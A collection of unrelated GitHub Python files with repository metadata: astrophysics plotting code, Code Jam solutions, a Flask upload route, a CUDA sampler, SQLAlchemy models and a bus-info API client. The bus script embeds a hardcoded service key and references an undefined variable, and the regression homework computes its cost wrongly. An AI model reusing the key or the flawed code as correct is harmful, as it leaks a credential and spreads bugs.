[1] * len(self.ells)\n figsize = (6, 1.5 * sum(height_ratios))\n fig, lax = plt.subplots(len(height_ratios), sharex=True, sharey=False, gridspec_kw={'height_ratios': height_ratios}, figsize=figsize, squeeze=True)\n fig.subplots_adjust(hspace=0.1)\n show_legend = True\n else:\n lax = fig.axes\n show_legend = False\n\n data, theory, std = self.data, self.theory, self.std\n for ill, ell in enumerate(self.ells):\n lax[0].errorbar(self.s[ill], self.s[ill]**2 * data[ill], yerr=self.s[ill]**2 * std[ill], color='C{:d}'.format(ill), linestyle='none', marker='o', label=r'$\\ell = {:d}$'.format(ell))\n lax[0].plot(self.s[ill], self.s[ill]**2 * theory[ill], **kw_theory[ill])\n for ill, ell in enumerate(self.ells):\n lax[ill + 1].plot(self.s[ill], (data[ill] - theory[ill]) / std[ill], **kw_theory[ill])\n lax[ill + 1].set_ylim(-4, 4)\n for offset in [-2., 2.]: lax[ill + 1].axhline(offset, color='k', linestyle='--')\n lax[ill + 1].set_ylabel(r'$\\Delta \\xi_{{{0:d}}} / \\sigma_{{ \\xi_{{{0:d}}} }}$'.format(ell))\n for ax in lax: ax.grid(True)\n if show_legend: lax[0].legend()\n lax[0].set_ylabel(r'$s^{2} \\xi_{\\ell}(s)$ [$(\\mathrm{Mpc}/h)^{2}$]')\n lax[-1].set_xlabel(r'$s$ [$\\mathrm{Mpc}/h$]')\n return fig\n\n @plotting.plotter\n def plot_bao(self, fig=None):\n \"\"\"\n Plot data and theory BAO correlation function peak.\n\n Parameters\n ----------\n fig : matplotlib.figure.Figure, default=None\n Optionally, a figure with at least ``len(self.ells)`` axes.\n\n fn : str, Path, default=None\n Optionally, path where to save figure.\n If not provided, figure is not saved.\n\n kw_save : dict, default=None\n Optionally, arguments for :meth:`matplotlib.figure.Figure.savefig`.\n\n show : bool, default=False\n If ``True``, show figure.\n\n Returns\n -------\n fig : matplotlib.figure.Figure\n \"\"\"\n from matplotlib import pyplot as plt\n if fig is None:\n height_ratios = [1] * len(self.ells)\n figsize = (4, 3 * sum(height_ratios))\n fig, lax = plt.subplots(len(height_ratios), sharex=True, sharey=False, gridspec_kw={'height_ratios': height_ratios}, figsize=figsize, squeeze=False)\n lax = lax.ravel() # in case only one ell\n fig.subplots_adjust(hspace=0)\n else:\n lax = fig.axes\n data, theory, std = self.data, self.theory, self.std\n nobao = self.theory_nobao\n\n for ill, ell in enumerate(self.ells):\n lax[ill].errorbar(self.s[ill], self.s[ill]**2 * (data[ill] - nobao[ill]), yerr=self.s[ill]**2 * std[ill], color='C{:d}'.format(ill), linestyle='none', marker='o')\n lax[ill].plot(self.s[ill], self.s[ill]**2 * (theory[ill] - nobao[ill]), color='C{:d}'.format(ill))\n lax[ill].set_ylabel(r'$s^{{2}} \\Delta \\xi_{{{:d}}}(s)$ [$(\\mathrm{{Mpc}}/h)^{{2}}$]'.format(ell))\n for ax in lax: ax.grid(True)\n lax[-1].set_xlabel(r'$s$ [$\\mathrm{Mpc}/h$]')\n\n return fig\n\n def plot_wiggles(self, *args, **kwargs):\n import warnings\n warnings.warn('plot_wiggles is deprecated, use plot_bao instead')\n self.plot_bao(*args, **kwargs)\n\n @plotting.plotter\n def plot_covariance_matrix(self, corrcoef=True, **kwargs):\n \"\"\"\n Plot covariance matrix.\n\n Parameters\n ----------\n corrcoef : bool, default=True\n If ``True``, plot the correlation matrix; else the covariance.\n\n barlabel : str, default=None\n Optionally, label for the color bar.\n\n figsize : int, tuple, default=None\n Optionally, figure size.\n\n norm : matplotlib.colors.Normalize, default=None\n Scales the covariance / correlation to the canonical colormap range [0, 1] for mapping to colors.\n By default, the covariance / correlation range is mapped to the color bar range using linear scaling.\n\n labelsize : int, default=None\n Optionally, size for labels.\n\n fig : matplotlib.figure.Figure, default=None\n Optionally, a figure with at least ``len(self.ells) * len(self.ells)`` axes.\n\n Returns\n -------\n fig : matplotlib.figure.Figure\n \"\"\"\n from desilike.observables.plotting import plot_covariance_matrix\n cumsize = np.insert(np.cumsum([len(s) for s in self.s]), 0, 0)\n mat = [[self.covariance[start1:stop1, start2:stop2] for start2, stop2 in zip(cumsize[:-1], cumsize[1:])] for start1, stop1 in zip(cumsize[:-1], cumsize[1:])]\n return plot_covariance_matrix(mat, x1=self.s, xlabel1=r'$s$ [$\\mathrm{Mpc}/h$]', label1=[r'$\\ell = {:d}$'.format(ell) for ell in self.ells], corrcoef=corrcoef, **kwargs)\n\n def calculate(self):\n self.flattheory = self.wmatrix.flatcorr\n\n @property\n def theory(self):\n return self.wmatrix.corr\n\n @property\n def theory_nobao(self):\n template = self.wmatrix.theory.template\n only_now = template.only_now\n template.only_now = True\n\n def callback(calculator):\n all_requires.append(calculator)\n for require in calculator.runtime_info.requires:\n if require in all_requires:\n del all_requires[all_requires.index(require)] # we want first dependencies at the end\n callback(require)\n\n all_requires = []\n callback(self)\n all_requires = all_requires[::-1]\n\n for calculator in all_requires:\n calculator.runtime_info.tocalculate = True\n calculator.runtime_info.calculate()\n\n nobao = self.theory\n\n template.only_now = only_now\n for calculator in all_requires:\n calculator.runtime_info.tocalculate = True\n calculator.runtime_info.calculate()\n\n return nobao\n\n @property\n def data(self):\n cumsize = np.insert(np.cumsum([len(s) for s in self.s]), 0, 0)\n return [self.flatdata[start:stop] for start, stop in zip(cumsize[:-1], cumsize[1:])]\n\n @property\n def std(self):\n cumsize = np.insert(np.cumsum([len(s) for s in self.s]), 0, 0)\n diag = np.diag(self.covariance)**0.5\n return [diag[start:stop] for start, stop in zip(cumsize[:-1], cumsize[1:])]\n\n def __getstate__(self):\n state = {}\n for name in ['s', 'sedges', 'muedges', 'ells', 'flatdata', 'shotnoise', 'flattheory']:\n if hasattr(self, name):\n state[name] = getattr(self, name)\n return state\n\n @classmethod\n def install(cls, config):\n # TODO: remove this dependency\n #config.pip('git+https://github.com/cosmodesi/pycorr')\n pass\n","repo_name":"cosmodesi/desilike","sub_path":"desilike/observables/galaxy_clustering/correlation_function.py","file_name":"correlation_function.py","file_ext":"py","file_size_in_byte":16680,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"61"} +{"seq_id":"23580920941","text":"import sys\nimport time\nimport math\n\n#def eprint(*args, **kwargs):\n#\tprint(*args, file=sys.stderr, **kwargs)\n\n#start_time=time.time()\nlines=[]\nfor line in sys.stdin:\n\tlines.append(line.strip('\\n'))\n\nnb=int(lines[0])\nc_l=0\nfor p in range(nb):\n\tdata=lines[c_l+1].split(' ')\n\tD=int(data[0])\n\tN=int(data[1])\n\tc_l+=1\n\tmax_a=0\n\tfor n in range(N):\n\t\tdata=lines[c_l+1].split(' ')\n\t\tK=int(data[0])\n\t\tS=int(data[1])\n\t\tc_l+=1\n\t\ta=float(D-K)/float(S)\n\t\tif (a>=max_a):\n\t\t\tmax_a=a\n\tprint(\"Case #{}: {}\".format(p+1,D/max_a))\n\t\t\t\n\t\t\t\n#\tN=int(lines[j+1])\n#\tif(N!=0):\n#\t\tN2=0\n#\t\td={}\n#\t\tfor k in range(10):\n#\t\t\td[str(k)]=\"no\"\n#\t\tc=0\n#\t\twhile [d[str(i)] for i in range(0,10)].count(\"ok\") != 10:\n#\t\t\tc+=1\n#\t\t\tN2+=N\n#\t\t\tfor l in list(str(N2)):\n#\t\t\t\td[str(l)]=\"ok\"\n#\t\teprint(\"Case #{}: {}\".format(j,N2))\n#\t\tprint(N,c)\n#\telse:\n#\t\teprint(\"Case #{}: INSOMNIA\".format(j))\t\n#print(time.time()-start_time)\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_206/540.py","file_name":"540.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34766965774","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.metrics import mean_squared_error\n\naplha = 0.01 #learning rate\n\ndataset = pd.read_csv('PA1_train.csv')\nx_train = dataset.iloc[:, 3:-1]\nprint(x_train)\ny_train = dataset.iloc[:, -1]\n#print(y_train)\ndataset = pd.read_csv('PA1_test.csv')\nx_test = dataset.iloc[:, 3:]\n#print(x_test)\ny_test = dataset.iloc[:, -1]\n#print(y_test)\ndataset = pd.read_csv('PA1_dev.csv')\nx_test2 = dataset.iloc[:, 3:-1]\n#print(x_test2)]\ny_test2 = dataset.iloc[:, -1]\n#print(y_test2)\n\n# With the method from Sklearn\n# =============================================================================\n# split the dataset into train & test of necessary\n# from sklearn.cross_validation import train_test_split\n# x_train, x_test, y_train, y_test = train_test_split(x, y, test_size = 0.2, random_state = 0)\n \n## apply linear regression based on training examples\n#regressor = LinearRegression()\n#regressor.fit(x_train, y_train)\n## see the values of parameters after training\n#print(\"constant parameter is\", regressor.intercept_)\n#for i, j in enumerate(x_train.columns):\n# print(\"parameter of {} is {}\".format(j, regressor.coef_[0])) \n# \n## predict the result of test examples\n#y_pred = regressor.predict(x_test2)\n#print(\"y predict: \", y_pred)\n# \n## measuring the accuracy\n#print(\"Mean Accuracy: \",regressor.score(x_train, y_train))\n#print(\"MSE: \", mean_squared_error(y_pred, y_test2))\n# \n### Plot the graph\n##plt.scatter()\n##plt.title(\"TBD\")\n##plt.show()\n\n# =============================================================================\n# Alogorithm Model\n# =============================================================================\nnum_row = x_train.shape[0]\nnum_col = x_train.shape[1]\n\nb = 3 # initial b \nw = np.full(x_train.shape[1], 3) # initial w\nj = np.zeros(x_train.shape[1])\nlimit = 0.5 # the norm of the gradient of convergence\n#print(w)\n#print(j)\n\n# =============================================================================\n# Cost Function\n# =============================================================================\ndiff = 0\nsumm = 0\nfor i in range(num_row):\n h_theta = b + 0 # hypothesis\n for j in range(num_col):\n h_theta = h_theta * x_train.iloc[i,j] # h_theta(x)\n diff = (h_theta - y_test[i])**2\n summ = summ + diff\nsse = 1 / (2 * num_row) * summ\nprint(\"SSE: \", sse)\n\n# =============================================================================\n# Gradient Descent\n# =============================================================================\n\n \n \n#b_grad = 0.0\n#w_grad = 0.0 ","repo_name":"rayhunglu/CS534-Machine-Learning","sub_path":"Implementation 1/sklearn.py","file_name":"sklearn.py","file_ext":"py","file_size_in_byte":2637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23565033801","text":"# # input example\r\n# 4\r\n# 132\r\n# 1000\r\n# 7\r\n# 111111111111111110\r\n\r\n# output example\r\n# Case #1: 129\r\n# Case #2: 999\r\n# Case #3: 7\r\n# Case #4: 99999999999999999\r\n\r\ndef find_messy(num_array):\r\n\r\n index_twin = None\r\n\r\n for i in range(0, len(num_array)-1):\r\n if num_array[i] > num_array[i+1]:\r\n if index_twin:\r\n return index_twin+1\r\n return i+1\r\n elif num_array[i] == num_array[i+1]:\r\n if not index_twin:\r\n index_twin = i\r\n else:\r\n index_twin = None\r\n\r\n return \"TIDY\"\r\n\r\ndef tidy_up(index, num_array):\r\n fixed_part = ''\r\n for i in range(index, len(num_array)):\r\n fixed_part += \"9\"\r\n return fixed_part\r\n\r\ndef make_num(num_array):\r\n num = \"\"\r\n for n in num_array:\r\n num += n\r\n return int(num)\r\n\r\ndef find_tidy(n):\r\n num_array = [num for num in n]\r\n index = find_messy(num_array)\r\n if index == \"TIDY\":\r\n return n\r\n return find_tidy(str(make_num(num_array[:index])-1))+tidy_up(index, num_array)\r\n\r\nt = int(input())\r\nfor i in range(1, t + 1):\r\n n = input()\r\n print(\"Case #{}: {}\".format(i, int(find_tidy(n))))","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/666.py","file_name":"666.py","file_ext":"py","file_size_in_byte":1162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74944090754","text":"import io\nimport csv\nfrom sqlalchemy.exc import DatabaseError\nfrom flask import (\n Blueprint,\n request,\n jsonify,\n)\n\nfrom app.models import CustomerDetails\nfrom app.db import db\nfrom logger import get_logger\nfrom app.schemas import BANK_MARKETING_MODEL_PARAM_SCHEMA\n\n\nlog = get_logger(__name__)\nfile_upload_bp = Blueprint('file_upload', __name__, url_prefix='')\n\n\n\n@file_upload_bp.route('/upload/csv', methods=['POST'])\ndef upload_csv():\n file = request.files.get('file', None)\n if not file :\n return jsonify('Error: no file found in request payload, expected a csv file.'), 400\n\n try:\n num_rows = 0\n for row in csv.DictReader(io.StringIO(file.stream.read().decode('utf-8')), delimiter=';'):\n cd = CustomerDetails(**row)\n db.session.add(cd)\n num_rows += 1\n db.session.commit()\n log.info(f'Uploaded {num_rows} rows to DB.')\n return jsonify({'status': f'Success. Uploaded {num_rows} rows.'}), 200\n\n except DatabaseError as e:\n db.session.rollback()\n log.info(f'Faile to uploaded data, error: {str(e)}.')\n return jsonify({\n 'status': 'error',\n 'message': str(e)\n }), 500\n\n\n@file_upload_bp.route('/customer/')\ndef get_customer_details(cd_id):\n cd = CustomerDetails.query.get(cd_id)\n if cd:\n return jsonify({\n 'status': 'success',\n 'message': BANK_MARKETING_MODEL_PARAM_SCHEMA.dump(cd).data\n }), 200\n else:\n return jsonify({\n 'status': 'error',\n 'message': f'User {cd_id} not found.'\n }), 404\n\n","repo_name":"Harsit86/artificial_ml_challenge","sub_path":"app/file_uploader.py","file_name":"file_uploader.py","file_ext":"py","file_size_in_byte":1627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35340272019","text":"import torch\nfrom cosine_sampler_3d import _cosine_3d\n\ndef padding_mode_enum(padding_mode):\n if padding_mode == \"zeros\":\n return 0\n elif padding_mode == \"border\":\n return 1\n else: # padding_mode == 'reflection'\n return 2\n\ndef kernel_enum(kernel):\n if kernel == 'cosine':\n return 0\n elif kernel == 'trilinear':\n return 1\n elif kernel == 'smooth-step':\n return 2\n\nclass CosineSampler3d(torch.autograd.Function):\n @staticmethod\n def forward(ctx, input, grid, padding_mode=\"zeros\", align_corners=True, kernel='cosine', multicell = True):\n if multicell:\n ctx.offset =torch.linspace(0, 1-(1/input.shape[0]), input.shape[0]).to('cuda') \n else:\n ctx.offset = torch.zeros(input.shape[0]).to('cuda') \n\n output = _cosine_3d.forward(input, grid, ctx.offset, padding_mode_enum(padding_mode), align_corners, kernel_enum(kernel), multicell)\n ctx.save_for_backward(input, grid)\n \n ctx.align_corners = align_corners\n ctx.padding_mode = padding_mode\n ctx.kernel = kernel\n ctx.multicell = multicell\n return output\n\n @staticmethod\n def backward(ctx, grad_out):\n input, grid = ctx.saved_tensors\n \n if (grad_out == 0.).all().item():\n return torch.zeros_like(input), torch.zeros_like(grid), None, None, None, None, None\n \n d_input, d_grid = CosineSamplerBackward.apply(input, grid, grad_out.contiguous(), ctx.offset, ctx.padding_mode, ctx.align_corners, ctx.kernel, ctx.multicell) \n return d_input, d_grid, None, None, None, None\n\nclass CosineSamplerBackward(torch.autograd.Function):\n @staticmethod\n def forward(ctx, input, grid, grad_out, offset, padding_mode=\"zeros\", align_corners=True, kernel = 'cosine', multicell = True):\n ctx.align_corners = align_corners\n ctx.padding_mode = padding_mode\n ctx.offset = offset\n ctx.kernel = kernel\n ctx.multicell = multicell\n grad_input, grad_grid = _cosine_3d.backward(grad_out, input, grid, offset, padding_mode_enum(padding_mode),\n ctx.align_corners, input.requires_grad, kernel_enum(kernel), multicell)\n ctx.save_for_backward(input, grid, grad_out)\n \n return grad_input, grad_grid\n\n @staticmethod\n def backward(ctx, gOutInput, gOutGrid):\n input, grid, gOut = ctx.saved_tensors\n\n gInput, gGrid, ggOut = CosineSamplerBackwardBackward.apply(input, grid, gOut, gOutInput.contiguous(), gOutGrid.contiguous(), ctx.offset, ctx.padding_mode, ctx.align_corners, ctx.kernel, ctx.multicell)\n\n\n return gInput, gGrid, ggOut, None, None, None, None, None\n \nclass CosineSamplerBackwardBackward(torch.autograd.Function):\n @staticmethod\n def forward(ctx, input, grid, gOut, gOutInput, gOutGrid, offset, padding_mode=\"zeros\", align_corners=True, kernel = 'cosine', multicell = True):\n \n ctx.align_corners = align_corners\n ctx.padding_mode = padding_mode\n ctx.offset = offset\n ctx.kernel = kernel\n ctx.multicell = multicell\n\n input_requires_grad = gOutInput is not None and (gOutInput != 0.).any().item()\n\n gInput, gGrid, ggOut = _cosine_3d.backward_backward(gOutInput, gOutGrid, input, grid, gOut, offset,\n padding_mode_enum(padding_mode), align_corners, input_requires_grad, kernel_enum(kernel), multicell)\n ctx.save_for_backward(input, grid, gOut, gOutGrid)\n \n return gInput, gGrid, ggOut\n\n @staticmethod\n def backward(ctx, gOutgInput, gOutgGrid, gOutggOut):\n align_corners = ctx.align_corners\n padding_mode = ctx.padding_mode\n input, grid, gOut, gOutGrid, = ctx.saved_tensors \n \n input_requires_grad = gOutgInput is not None and (gOutgInput != 0.).any().item()\n gInput, ggOut = _cosine_3d.backward_backward_backward(input, grid, gOut, gOutGrid, gOutgGrid.contiguous(), ctx.offset,\n padding_mode_enum(padding_mode), align_corners, input_requires_grad, kernel_enum(ctx.kernel), ctx.multicell) \n\n b_input, _, _ = CosineSamplerBackwardBackward.apply(input, grid, gOutggOut.contiguous(), torch.ones_like(gOutgInput), gOutGrid, ctx.offset, padding_mode, align_corners, ctx.kernel, ctx.multicell)\n\n return gInput+b_input, None, ggOut, None, None, None, None, None, None, None\n","repo_name":"NamGyuKang/CosineSampler","sub_path":"cosine_sampler_3d/modules_3d.py","file_name":"modules_3d.py","file_ext":"py","file_size_in_byte":4523,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"8892571244","text":"\nimport requests\nimport xml.etree.ElementTree\n\ndef getLowStationByUid_return_stId_and_stNm(arsId):\n # api 인증키\n key = 'dswkIzbtmtoaVJONYr8kMHJBceWsS8B9SPs8zshw7LlAnQzhDCnNFSI48oQUeHTJBqtn%2FmD6S4i6HDSAUPQ2tQ%3D%3D'\n\n # getRouteByStation api 호출\n queryParams = 'ServiceKey=' + key + '&arsId=' + arsId\n url = 'http://ws.bus.go.kr/api/rest/stationinfo/getLowStationByUid?' + queryParams\n\n # xml 파싱을 위한 코드\n req = requests.get(url)\n tree = xml.etree.ElementTree.fromstring(req.text)\n print(req.text)\n msgBody = tree.find(\"msgBody\")\n\n req_getLowStationByUid = requests.get(url_getLowStationByUid)\n tree_getLowStationByUid = xml.etree.ElementTree.fromstring(req_getLowStationByUid.text)\n print(req_getLowStationByUid.text)\n\n busRouteList = []\n msgBody = tree_getLowStationByUid.find(\"msgBody\")\n\n itemList = msgBody.findall(\"itemList\")\n\n result_dict = dict()\n for i in itemList:\n if i.find(\"arsId\").text == arsId:\n result_dict['stId'] = i.find(\"stId\").text\n result_dict['stnNm'] = i.find(\"stnNm\").text\n\n print(result_dict)\n return result_dict\n","repo_name":"HaiSeong/DDingProject","sub_path":"DDingProject/getLowStationByUid_return_stId_and_stNm.py","file_name":"getLowStationByUid_return_stId_and_stNm.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"41012118125","text":"def fib(n):\r\n a,b=1,1\r\n c=a+b\r\n print(str(a)+\",\"+str(b)+\",\"+str(c),end=\"\")\r\n while c> native_ast.nullExpr\n )\n )\n else:\n context.pushEffect(\n self.get_refcount_ptr_expr(expr.nonref_expr).atomic_add(1) >> native_ast.nullExpr\n )\n\n def convert_assign(self, context, expr, other):\n assert expr.isReference\n\n self.convert_incref(context, other)\n self.convert_destroy(context, expr)\n\n context.pushEffect(\n expr.expr.store(other.nonref_expr)\n )\n return context.constant(None)\n\n def convert_copy_initialize(self, context, expr, other):\n expr = expr.expr\n other = other.nonref_expr\n\n if self.CAN_BE_NULL:\n context.pushEffect(\n native_ast.Expression.Branch(\n cond=other,\n false=expr.store(other),\n true=(\n expr.store(other) >>\n self.get_refcount_ptr_expr(expr.load()).atomic_add(1) >>\n native_ast.nullExpr\n )\n )\n )\n else:\n context.pushEffect(\n expr.store(other) >>\n self.get_refcount_ptr_expr(expr.load()).atomic_add(1) >>\n native_ast.nullExpr\n )\n\n return context.constant(None)\n\n def convert_destroy(self, context, target):\n res = context.expressionAsFunctionCall(\n \"decref_\" + str(self),\n (target,),\n lambda instance: self.convert_destroy_inner(instance.context, instance),\n (\"decref\", self)\n )\n\n if res is not None:\n context.pushEffect(res.expr)\n\n return context.constant(None)\n\n def convert_destroy_inner(self, context, target):\n assert isinstance(target, TypedExpression)\n\n assert target.isReference\n targetExpr = target.nonref_expr\n\n if self.CAN_BE_NULL:\n with context.ifelse(targetExpr) as (true, false):\n with true:\n with context.ifelse(self.get_refcount_ptr_expr(targetExpr).atomic_add(-1).eq(1)) as (subtrue, subfalse):\n with subtrue:\n context.pushEffect(self.on_refcount_zero(context, target))\n else:\n with context.ifelse(self.get_refcount_ptr_expr(targetExpr).atomic_add(-1).eq(1)) as (subtrue, subfalse):\n with subtrue:\n context.pushEffect(self.on_refcount_zero(context, target))\n\n return context.constant(None)\n","repo_name":"APrioriInvestments/typed_python","sub_path":"typed_python/compiler/type_wrappers/refcounted_wrapper.py","file_name":"refcounted_wrapper.py","file_ext":"py","file_size_in_byte":3989,"program_lang":"python","lang":"en","doc_type":"code","stars":195,"dataset":"github-code","pt":"61"} +{"seq_id":"3655950998","text":"import torch\nimport numpy as np\nimport math\nimport time\nimport torch\nimport numpy as np\nimport torch.autograd as autograd\nfrom torch.autograd import Variable\n\nclass Timer:\n def __init__(self, msg):\n self.msg = msg\n self.start_time = None\n\n def __enter__(self):\n self.start_time = time.time()\n\n def __exit__(self, exc_type, exc_value, exc_tb):\n print(self.msg % (time.time() - self.start_time))\n\nclass AverageMeter(object):\n \"\"\"Computes and stores the average and current value\"\"\"\n def __init__(self):\n self.reset()\n\n def reset(self):\n self.val = 0\n self.avg = 0\n self.sum = 0\n self.count = 0\n\n def update(self, val, n=1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = self.sum / self.count\n\ndef camera_position_from_spherical_angles(dist, elev, azim, degrees=True):\n \"\"\"\n Calculate the location of the camera based on the distance away from\n the target point, the elevation and azimuth angles.\n Args:\n distance: distance of the camera from the object.\n elevation, azimuth: angles.\n The inputs distance, elevation and azimuth can be one of the following\n - Python scalar\n - Torch scalar\n - Torch tensor of shape (N) or (1)\n degrees: bool, whether the angles are specified in degrees or radians.\n device: str or torch.device, device for new tensors to be placed on.\n The vectors are broadcast against each other so they all have shape (N, 1).\n Returns:\n camera_position: (N, 3) xyz location of the camera.\n \"\"\"\n if degrees:\n elev = math.pi / 180.0 * elev\n azim = math.pi / 180.0 * azim\n x = dist * torch.cos(elev) * torch.sin(azim)\n y = dist * torch.sin(elev)\n z = dist * torch.cos(elev) * torch.cos(azim)\n camera_position = torch.stack([x, y, z], dim=1)\n return camera_position.reshape(-1, 3)\n\n\ndef generate_transformation_matrix(camera_position, look_at, camera_up_direction):\n r\"\"\"Generate transformation matrix for given camera parameters.\n\n Formula is :math:`\\text{P_cam} = \\text{P_world} * {\\text{transformation_mtx}`,\n with :math:`\\text{P_world}` being the points coordinates padded with 1.\n\n Args:\n camera_position (torch.FloatTensor):\n camera positions of shape :math:`(\\text{batch_size}, 3)`,\n it means where your cameras are\n look_at (torch.FloatTensor):\n where the camera is watching, of shape :math:`(\\text{batch_size}, 3)`,\n camera_up_direction (torch.FloatTensor):\n camera up directions of shape :math:`(\\text{batch_size}, 3)`,\n it means what are your camera up directions, generally [0, 1, 0]\n\n Returns:\n (torch.FloatTensor):\n The camera transformation matrix of shape :math:`(\\text{batch_size, 4, 3)`.\n \"\"\"\n z_axis = (camera_position - look_at)\n z_axis = z_axis / z_axis.norm(dim=1, keepdim=True)\n x_axis = torch.cross(camera_up_direction, z_axis, dim=1)\n x_axis = x_axis / x_axis.norm(dim=1, keepdim=True)\n y_axis = torch.cross(z_axis, x_axis, dim=1)\n rot_part = torch.stack([x_axis, y_axis, z_axis], dim=2)\n trans_part = (-camera_position.unsqueeze(1) @ rot_part)\n return torch.cat([rot_part, trans_part], dim=1)\n\n\n\ndef compute_gradient_penalty(D, real_samples, fake_samples):\n Tensor = torch.cuda.FloatTensor\n \"\"\"Calculates the gradient penalty loss for WGAN-GP\"\"\"\n # Random weight term for interpolation between real and fake samples\n alpha = Tensor(np.random.random((real_samples.size(0), 1, 1, 1)))\n # Get random interpolation between real and fake samples\n interpolates = (alpha * real_samples + ((1 - alpha) * fake_samples)).requires_grad_(True)\n d_interpolates = D(interpolates)\n fake = Variable(Tensor(torch.ones_like(d_interpolates)), requires_grad=False)\n # Get gradient w.r.t. interpolates\n gradients = autograd.grad(\n outputs=d_interpolates,\n inputs=interpolates,\n grad_outputs=fake,\n create_graph=True,\n retain_graph=True,\n only_inputs=True,\n )[0]\n gradients = gradients.view(gradients.size(0), -1)\n gradient_penalty = ((gradients.norm(2, dim=1) - 1) ** 2).mean()\n return gradient_penalty\n\n\n# def calc_fid():\n# for i, data in tqdm.tqdm(enumerate(test_dataloader)):\n# Xa = Variable(data['data']['images']).cuda()\n# paths = data['data']['path']\n\n# with torch.no_grad():\n# Ae = netE(Xa)\n# Xer, Ae = diffRender.render(**Ae)\n\n# Ai = deep_copy(Ae)\n# Ai['azimuths'] = - torch.empty((Xa.shape[0]), dtype=torch.float32).uniform_(-opt.azi_scope/2, opt.azi_scope/2).cuda()\n# Xir, Ai = diffRender.render(**Ai)\n\n# for i in range(len(paths)):\n# path = paths[i]\n# image_name = os.path.basename(path)\n# rec_path = os.path.join(rec_dir, image_name)\n# output_Xer = to_pil_image(Xer[i, :3].detach().cpu())\n# output_Xer.save(rec_path, 'JPEG', quality=100)\n\n# inter_path = os.path.join(inter_dir, image_name)\n# output_Xir = to_pil_image(Xir[i, :3].detach().cpu())\n# output_Xir.save(inter_path, 'JPEG', quality=100)\n\n# ori_path = os.path.join(ori_dir, image_name)\n# output_Xa = to_pil_image(Xa[i, :3].detach().cpu())\n# output_Xa.save(ori_path, 'JPEG', quality=100)\n# fid_recon = calculate_fid_given_paths([ori_dir, rec_dir], 32, True)\n# print('Test recon fid: %0.2f' % fid_recon)\n# summary_writer.add_scalar('Test/fid_recon', fid_recon, epoch)\n\n# fid_inter = calculate_fid_given_paths([ori_dir, inter_dir], 32, True)\n# print('Test rotation fid: %0.2f' % fid_inter)\n# summary_writer.add_scalar('Test/fid_inter', fid_inter, epoch)\n","repo_name":"dvlab-research/SMR","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5933,"program_lang":"python","lang":"en","doc_type":"code","stars":89,"dataset":"github-code","pt":"61"} +{"seq_id":"28097535789","text":"class Solution:\n # @param A : list of integers\n # @param B : integer\n # @return an integer\n\n def student_required(self, arr, min_pages):\n n = len(arr)\n student_req = 1\n i = 0\n pages_read = 0\n\n while i < n:\n if arr[i] > min_pages:\n return -1\n pages_read += arr[i]\n if pages_read > min_pages:\n student_req += 1\n pages_read = 0\n continue\n else:\n pass\n i += 1\n\n return student_req\n\n def books(self, A, B):\n n = len(A)\n minn = A[0]\n maxx = A[0]\n pref_sum = [A[0]]\n\n for i in range(n):\n minn = min(minn, A[i])\n maxx = max(maxx, A[i])\n if i >= 1:\n pref_sum.append(pref_sum[i-1] + A[i])\n\n print(minn, maxx)\n\n start = pref_sum[0]\n end = pref_sum[-1]\n ans = end\n while start <= end:\n mid = start + (end - start) // 2\n\n req_student = self.student_required(A, mid)\n print(f'start {start} mid {mid} end {end} req {req_student}')\n if req_student == -1:\n start = mid + 1\n elif req_student == B:\n end = mid - 1\n ans = min(mid, ans)\n elif req_student < B:\n print('hola')\n end = mid - 1\n ans = min(mid, ans)\n else:\n start = mid + 1\n\n return ans\n\n\nif __name__ == '__main__':\n a = [22]\n b = 1\n obj = Solution()\n ans = obj.books(a, b)\n print(f'ans is {ans}')\n","repo_name":"navkant/ds_algo_practice","sub_path":"scaler/searching/books.py","file_name":"books.py","file_ext":"py","file_size_in_byte":1647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38931448984","text":"\"\"\"Models for the application.\"\"\"\nfrom sqlalchemy import (Column, DateTime, ForeignKey, Integer, String,\n create_engine)\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker\n\nengine = create_engine('sqlite:///inventory.db', echo=False)\nSession = sessionmaker(bind=engine)\nsession = Session()\nBase = declarative_base()\n\n\nclass Brand(Base):\n \"\"\"Brand class.\"\"\"\n\n __tablename__ = 'brands'\n brand_id = Column(Integer, primary_key=True, unique=True)\n brand_name = Column('brand_name', String)\n\n def __repr__(self):\n \"\"\"Representation of the object.\n\n Returns a string representation of an object.\n \"\"\"\n return f'name: {self.product_name} quantity: {self.product_quantity} price: {self.product_price} date_updated: {self.date_updated}'\n\n\nclass Product(Base):\n \"\"\"Product class.\"\"\"\n\n __tablename__ = 'products'\n product_id = Column(Integer, primary_key=True, unique=True)\n product_name = Column('product_name', String)\n product_quantity = Column('product_quantity', Integer)\n product_price = Column('product_price', Integer)\n # date_updated to be stored as a DateTime object instead of just Date\n date_updated = Column('date_updated', DateTime)\n brand_id = Column(Integer, ForeignKey('brands.brand_id'))\n\n def __repr__(self):\n \"\"\"Representation of the object.\n\n Returns a string representation of an object.\n \"\"\"\n return f'name: {self.product_name} quantity: {self.product_quantity} price: {self.product_price} date_updated: {self.date_updated}'\n","repo_name":"danpoynor/python-store-inventory-management-app","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22041560307","text":"# -*- coding: 